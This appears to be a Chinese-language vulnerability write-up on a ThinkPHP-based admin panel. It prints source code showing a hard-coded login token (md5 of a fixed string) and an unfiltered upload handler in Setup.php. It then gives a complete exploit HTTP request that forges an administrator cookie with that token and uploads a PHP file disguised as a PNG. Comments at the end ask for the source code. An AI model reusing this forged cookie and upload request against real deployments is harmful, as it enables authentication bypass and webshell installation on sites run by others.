漏洞文件
在/application/admin/controller/Base.php
<?php namespace app\admin\controller; use think\Controller; use think\Db; class Base extends Controller { public function __construct(){ parent::__construct(); $otype = session('otype'); if($otype && $otype == 3){ /* if (session('userid') != '1') { $ip = $_SERVER["REMOTE_ADDR"]; $time = date('Y-m-d H:i:s'); file_put_contents("尝试入侵日志.txt","地址:".$ip."||时间:".$time.PHP_EOL,FILE_APPEND); die; } */ } //session_unset(); //验证登录 $login = cookie('denglu'); if(!isset($login['userid'])){ $this->error('请先登录!','login/login',1,1); } if(!isset($login['token']) || $login['token'] != md5('nimashabi')){ $this->redirect('login/logout'); } $request = \think\Request::instance(); $contrname = $request->controller(); $actionname = $request->action(); $params = $request->param();; $this->assign('contrname',$contrname); $this->assign('actionname',$actionname); $this->assign('params',$params); $this->otype = $login['otype']; $this->uid = $login['userid']; $this->uname = $login['username']; $this->assign('otype',$this->otype); } protected function fetch($template = '', $vars = [], $replace = [], $config = []) { $replace['__ADMIN__'] = str_replace('/index.php','',\think\Request::instance()->root()).'/static/admin'; return $this->view->fetch($template, $vars, $replace, $config); } public function check(){ if($this->otype != 3){ $this->error('无权限操作'); } } public function adminLog($msg = '',$type = 2) { $data = [ 'admin_id' => isset($this->uid) ?$this->uid:0, 'name' => isset($this->uname) ?$this->uname: "无", 'type' => $type, 'controller' => request()->controller(), 'action' => request()->action(), 'info' => $msg, 'ip' => request()->ip(), 'created_at' => date('Y-m-d H:i:s'), 'params' => json_encode(input('param.',JSON_UNESCAPED_UNICODE)) ]; Db::name('admin_log')->insert($data); } }
在代码中29行,定义了一个token的值,只要登录的token值为md5(nimashabi)。
if(!isset($login['token']) || $login['token'] != md5('nimashabi'))
任意文件上传
在/application/admin/controller/Setup.php 参数配置中未过滤,导致直接可以上传恶意脚本
<?php namespace app\admin\controller; use think\Controller; use think\Db; /** * 系统设置和积分比例设置,可自定义设置 */ class Setup extends Base { /** * 基本设置 * @author lukui 2017-04-19 * @return [type] [description] */ public function index() { $this->check(); $map['group'] = 1; $map['status'] = 1; $data = Db::name('config')->where($map)->order('sort asc')->select(); $this->assign('data',$data); return $this->fetch(); } /** * 比例设置 * @author lukui 2017-04-19 * @return [type] [description] */ public function proportion() { $this->check(); $map['group'] = 2; $map['status'] = 1; $data = Db::name('config')->where($map)->order('sort asc')->select(); $this->assign('data',$data); return $this->fetch('index'); } /** * 配置比例 * @author lukui 2017-04-19 * @return [type] [description] */ public function addsetup() { $this->check(); if(input('post.')){ $data = input('post.'); $data['create_time'] = $data['update_time'] = time(); $data['status'] = 1; if(isset($data['id'])){ $ids = Db::name('config')->update($data); }else{ $ids = Db::name('config')->insert($data); } if($ids){ cache('conf',null); $this->adminLog("修改了配置"); return WPreturn('配置成功',1); }else{ return WPreturn('配置失败,请重试',-1); } exit; }else{ if(input('param.id')){ $id = input('param.id'); $data = Db::name('config')->where('id',$id)->find(); $this->assign($data); } return $this->fetch(); } } /** * 编辑配置/比例 * @author lukui 2017-04-19 * @return [type] [description] */ public function editconf() { $this->check(); if(input('post.')){ $data = input('post.'); foreach ($data as $k => $v) { $arr = explode('_',$k); $_data['id'] = $arr[1]; $_data['value'] = $v; $file = request()->file('pic_'.$_data['id']); if($file){ $info = $file->move(ROOT_PATH . 'public' . DS . 'uploads'); if($info){ $_data['value'] = '/public' . DS . 'uploads/'.$info->getSaveName(); } } if($_data['value'] == '' && isset($arr[2]) && $arr[2] == 3){ continue; } Db::name('config')->update($_data); } cache('conf',null); $this->success('编辑成功'); } } public function deleteconf() { $this->check(); if(input('post.')){ $id = input('post.id'); if(!$id){ return WPreturn('参数错误',-1); } $_data['id'] = $id; $_data['status'] = 0; $ids = Db::name('config')->update($_data); if($ids){ cache('conf',null); $this->adminLog("删除了配置-{$id}"); return WPreturn('删除成功',1); }else{ return WPreturn('删除失败,请重试',-1); } } } /** * 所有配置列表 * @author lukui 2017-04-19 * @return [type] [description] */ public function deploy() { $this->check(); $map['status'] = 1; $data = Db::name('config')->where($map)->order('sort asc')->select(); $this->assign('data',$data); return $this->fetch(); } public function check(){ if($this->otype != 3){ $this->error('无权限操作'); } } }
POST /admin/setup/editconf.html HTTP/1.1 Host: xxxx Content-Length: 14826 Cache-Control: max-age=0 Origin: https://xxxx Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryos3gT80Ff832vVe3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: https://xxx/admin/setup/index.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie:think_var=zh-cn; PHPSESSID=d8r9cn6hqa312cf6alg7ni6vg4; denglu=think%3A%7B%22otype%22%3A%223%22%2C%22userid%22%3A%221%22%2C%22username%22%3A%22admin%22%2C%22token%22%3A%223c341b110c44ad9e7da4160e4f865b63%22%7D Connection: close ------WebKitFormBoundaryos3gT80Ff832vVe3 Content-Disposition: form-data; name="value_26_2" ------WebKitFormBoundaryos3gT80Ff832vVe3 Content-Disposition: form-data; name="pic_26"; filename="avatar.php" Content-Type: image/png DATA ------WebKitFormBoundaryos3gT80Ff832vVe3--
本文作者为lufei,转载请注明。
大佬,求这份源码分析下,不胜感激,t00ls来的
@fengjianji论坛私聊我